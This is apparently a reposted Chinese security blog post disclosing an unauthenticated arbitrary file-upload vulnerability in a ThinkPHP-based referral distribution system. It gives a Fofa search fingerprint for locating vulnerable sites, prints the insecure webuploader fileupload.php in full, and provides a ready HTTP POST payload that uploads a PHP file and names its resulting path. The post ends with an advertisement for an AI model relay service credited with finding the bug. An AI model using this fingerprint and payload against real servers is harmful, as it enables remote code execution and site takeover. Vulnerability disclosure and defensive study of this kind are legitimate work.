某自适应任务拉新分销系统存在文件上传漏洞

admin 2026-06-12 04:54:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露某自适应任务拉新分销系统在public/static/lib/webuploader/0.1.5/server/fileupload.php中存在高危文件上传漏洞,攻击者可通过控制$_REQUEST[‘name’]参数直接上传恶意PHP文件,无需认证或扩展名校验。漏洞复现成功并附有详细Payload,作者强调使用AI工具自动化挖掘,建议开发者加强文件上传校验机制。 综合评分: 81 文章分类: 漏洞分析,代码审计,WEB安全,渗透测试,安全工具


cover_image

某自适应任务拉新分销系统存在文件上传漏洞

原创

XingYue404 XingYue404

星悦安全

2026年6月8日 15:23 浙江

在小说阅读器读本章

去阅读

点击上方蓝字关注我们 并设为星标

0x00 前言

没什么技术含量,全程AI自动审计,无特别提示词,同款AI审计看文末

矩阵式裂变分润逻辑:系统核心采用“总代-服务商-员工”三级管理模式。总代与服务商可精准控制下级 0-10% 的利润差价,实现一键调价,前端实时更新。这种**“无限裂变”**机制配合总代特有的每单 0.5 元团队奖励,能迅速激活地推团队,通过利益驱动实现指数级增长

Fofa指纹 : “/static/home/login/reset.css”

框架:ThinkPHP

0x01 漏洞分析&复现

位于 public/static/lib/webuploader/0.1.5/server/fileupload.php 中,上传文件可由$_REQUEST["name"]控制,且未发现认证、CSRF 校验、扩展名白名单或 MIME 校验

<?php/**&nbsp;* upload.php&nbsp;*&nbsp;* Copyright 2013, Moxiecode Systems AB&nbsp;* Released under GPL License.&nbsp;*&nbsp;* License: http://www.plupload.com/license&nbsp;* Contributing: http://www.plupload.com/contributing&nbsp;*/
#!!&nbsp;注意#!!&nbsp;此文件只是个示例,不要用于真正的产品之中。#!!&nbsp;不保证代码安全性。
#!!&nbsp;IMPORTANT:#!!&nbsp;this file&nbsp;is&nbsp;just an example, it doesn't incorporate&nbsp;any&nbsp;security checks and#!!&nbsp;is&nbsp;not recommended to be used&nbsp;in&nbsp;production environment&nbsp;as&nbsp;it&nbsp;is.&nbsp;Be&nbsp;sure to#!!&nbsp;revise it and customize to your needs.

// Make sure file is not cached (as it happens for example on iOS devices)header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: "&nbsp;. gmdate("D, d M Y H:i:s") .&nbsp;" GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0",&nbsp;false);header("Pragma: no-cache");

// Support CORS// header("Access-Control-Allow-Origin: *");// other CORS headers if any...if&nbsp;($_SERVER['REQUEST_METHOD']&nbsp;==&nbsp;'OPTIONS') {&nbsp; &nbsp; exit;&nbsp;// finish preflight CORS requests here}

if&nbsp;(&nbsp;!empty($_REQUEST[ 'debug' ]) ) {&nbsp; &nbsp;&nbsp;$random&nbsp;=&nbsp;rand(0, intval($_REQUEST[ 'debug' ]) );&nbsp; &nbsp;&nbsp;if&nbsp;(&nbsp;$random&nbsp;===&nbsp;0&nbsp;) {&nbsp; &nbsp; &nbsp; &nbsp; header("HTTP/1.0 500 Internal Server Error");&nbsp; &nbsp; &nbsp; &nbsp; exit;&nbsp; &nbsp; }}
// header("HTTP/1.0 500 Internal Server Error");// exit;

// 5 minutes execution time@set_time_limit(5&nbsp;*&nbsp;60);
// Uncomment this one to fake upload time// usleep(5000);
// Settings// $targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";$targetDir&nbsp;=&nbsp;'upload_tmp';$uploadDir&nbsp;=&nbsp;'upload';
$cleanupTargetDir&nbsp;=&nbsp;true;&nbsp;// Remove old files$maxFileAge&nbsp;=&nbsp;5&nbsp;*&nbsp;3600;&nbsp;// Temp file age in seconds

// Create target dirif&nbsp;(!file_exists($targetDir)) {&nbsp; &nbsp;&nbsp;@mkdir($targetDir);}
// Create target dirif&nbsp;(!file_exists($uploadDir)) {&nbsp; &nbsp;&nbsp;@mkdir($uploadDir);}
// Get a file nameif&nbsp;(isset($_REQUEST["name"])) {&nbsp; &nbsp;&nbsp;$fileName&nbsp;=&nbsp;$_REQUEST["name"];} elseif (!empty($_FILES)) {&nbsp; &nbsp;&nbsp;$fileName&nbsp;=&nbsp;$_FILES["file"]["name"];}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;$fileName&nbsp;=&nbsp;uniqid("file_");}
$filePath&nbsp;=&nbsp;$targetDir&nbsp;.&nbsp;DIRECTORY_SEPARATOR&nbsp;.&nbsp;$fileName;$uploadPath&nbsp;=&nbsp;$uploadDir&nbsp;.&nbsp;DIRECTORY_SEPARATOR&nbsp;.&nbsp;$fileName;
// Chunking might be enabled$chunk&nbsp;=&nbsp;isset($_REQUEST["chunk"])&nbsp;?&nbsp;intval($_REQUEST["chunk"]) :&nbsp;0;$chunks&nbsp;=&nbsp;isset($_REQUEST["chunks"])&nbsp;?&nbsp;intval($_REQUEST["chunks"]) :&nbsp;1;

// Remove old temp filesif&nbsp;($cleanupTargetDir) {&nbsp; &nbsp;&nbsp;if&nbsp;(!is_dir($targetDir)&nbsp;||&nbsp;!$dir&nbsp;=&nbsp;opendir($targetDir)) {&nbsp; &nbsp; &nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;100,&nbsp;"message":&nbsp;"Failed to open temp directory."},&nbsp;"id"&nbsp;:&nbsp;"id"}');&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;while&nbsp;(($file&nbsp;=&nbsp;readdir($dir))&nbsp;!==&nbsp;false) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$tmpfilePath&nbsp;=&nbsp;$targetDir&nbsp;.&nbsp;DIRECTORY_SEPARATOR&nbsp;.&nbsp;$file;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// If temp file is current file proceed to the next&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($tmpfilePath&nbsp;==&nbsp;"{$filePath}_{$chunk}.part"&nbsp;||&nbsp;$tmpfilePath&nbsp;==&nbsp;"{$filePath}_{$chunk}.parttmp") {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Remove temp file if it is older than the max age and is not the current file&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(preg_match('/\.(part|parttmp)$/',&nbsp;$file)&nbsp;&&&nbsp;(@filemtime($tmpfilePath)&nbsp;<&nbsp;time()&nbsp;-&nbsp;$maxFileAge)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@unlink($tmpfilePath);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp; closedir($dir);}

// Open temp fileif&nbsp;(!$out&nbsp;=&nbsp;@fopen("{$filePath}_{$chunk}.parttmp",&nbsp;"wb")) {&nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;102,&nbsp;"message":&nbsp;"Failed to open output stream."},&nbsp;"id"&nbsp;:&nbsp;"id"}');}
if&nbsp;(!empty($_FILES)) {&nbsp; &nbsp;&nbsp;if&nbsp;($_FILES["file"]["error"]&nbsp;||&nbsp;!is_uploaded_file($_FILES["file"]["tmp_name"])) {&nbsp; &nbsp; &nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;103,&nbsp;"message":&nbsp;"Failed to move uploaded file."},&nbsp;"id"&nbsp;:&nbsp;"id"}');&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// Read binary input stream and append it to temp file&nbsp; &nbsp;&nbsp;if&nbsp;(!$in&nbsp;=&nbsp;@fopen($_FILES["file"]["tmp_name"],&nbsp;"rb")) {&nbsp; &nbsp; &nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;101,&nbsp;"message":&nbsp;"Failed to open input stream."},&nbsp;"id"&nbsp;:&nbsp;"id"}');&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(!$in&nbsp;=&nbsp;@fopen("php://input",&nbsp;"rb")) {&nbsp; &nbsp; &nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;101,&nbsp;"message":&nbsp;"Failed to open input stream."},&nbsp;"id"&nbsp;:&nbsp;"id"}');&nbsp; &nbsp; }}
while&nbsp;($buff&nbsp;=&nbsp;fread($in,&nbsp;4096)) {&nbsp; &nbsp; fwrite($out,&nbsp;$buff);}
@fclose($out);@fclose($in);
rename("{$filePath}_{$chunk}.parttmp",&nbsp;"{$filePath}_{$chunk}.part");
$index&nbsp;=&nbsp;0;$done&nbsp;=&nbsp;true;for(&nbsp;$index&nbsp;=&nbsp;0;&nbsp;$index&nbsp;<&nbsp;$chunks;&nbsp;$index++&nbsp;) {&nbsp; &nbsp;&nbsp;if&nbsp;(&nbsp;!file_exists("{$filePath}_{$index}.part") ) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$done&nbsp;=&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }}if&nbsp;(&nbsp;$done&nbsp;) {&nbsp; &nbsp;&nbsp;if&nbsp;(!$out&nbsp;=&nbsp;@fopen($uploadPath,&nbsp;"wb")) {&nbsp; &nbsp; &nbsp; &nbsp; die('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"error"&nbsp;: {"code":&nbsp;102,&nbsp;"message":&nbsp;"Failed to open output stream."},&nbsp;"id"&nbsp;:&nbsp;"id"}');&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;( flock($out,&nbsp;LOCK_EX) ) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for(&nbsp;$index&nbsp;=&nbsp;0;&nbsp;$index&nbsp;<&nbsp;$chunks;&nbsp;$index++&nbsp;) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$in&nbsp;=&nbsp;@fopen("{$filePath}_{$index}.part",&nbsp;"rb")) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;($buff&nbsp;=&nbsp;fread($in,&nbsp;4096)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($out,&nbsp;$buff);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@fclose($in);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@unlink("{$filePath}_{$index}.part");&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; flock($out,&nbsp;LOCK_UN);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;@fclose($out);}
// Return Success JSON-RPC responsedie('{"jsonrpc"&nbsp;:&nbsp;"2.0",&nbsp;"result"&nbsp;: null,&nbsp;"id"&nbsp;:&nbsp;"id"}');

Payload:

POST&nbsp;/static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1&nbsp;HTTP/1.1Accept:&nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding:&nbsp;gzip, deflateAccept-Language:&nbsp;zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control:&nbsp;max-age=0Connection:&nbsp;keep-aliveContent-Length:&nbsp;197Content-Type:&nbsp;multipart/form-data; boundary=----WebKitFormBoundaryd8pwpkIz0eDkBEbcHost:&nbsp;192.168.140.128Origin:&nbsp;http://192.168.140.128Referer:&nbsp;http://192.168.140.128/static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1Upgrade-Insecure-Requests:&nbsp;1User-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
------WebKitFormBoundarytWIvtdAsZeAHIKQNContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg
<?php&nbsp;phpinfo();?>------WebKitFormBoundarytWIvtdAsZeAHIKQN--

文件上传在

/static/lib/webuploader/0.1.5/server/upload/audit.php

0x04 漏洞挖掘

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所

本漏洞完全由星悦AI中转提供的GPT5.5挖掘.

今天6.8日全天GPT所有模型全部免费使用,随便Xhigh,无速率限制

https://www.xyusec.com/

DeepSeek-v4-flash DeepSeek-v4-Pro

Glm-5 Glm-5.1 kimi-k2.5 miniMax-M2.5 Qwen3-235B-A22B Qwen3.5-397B-A17B

以上模型全部免费使用,还可以进群领取5$

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星悦安全 XingYue404 XingYue404《某自适应任务拉新分销系统存在文件上传漏洞》

评论:0   参与:  0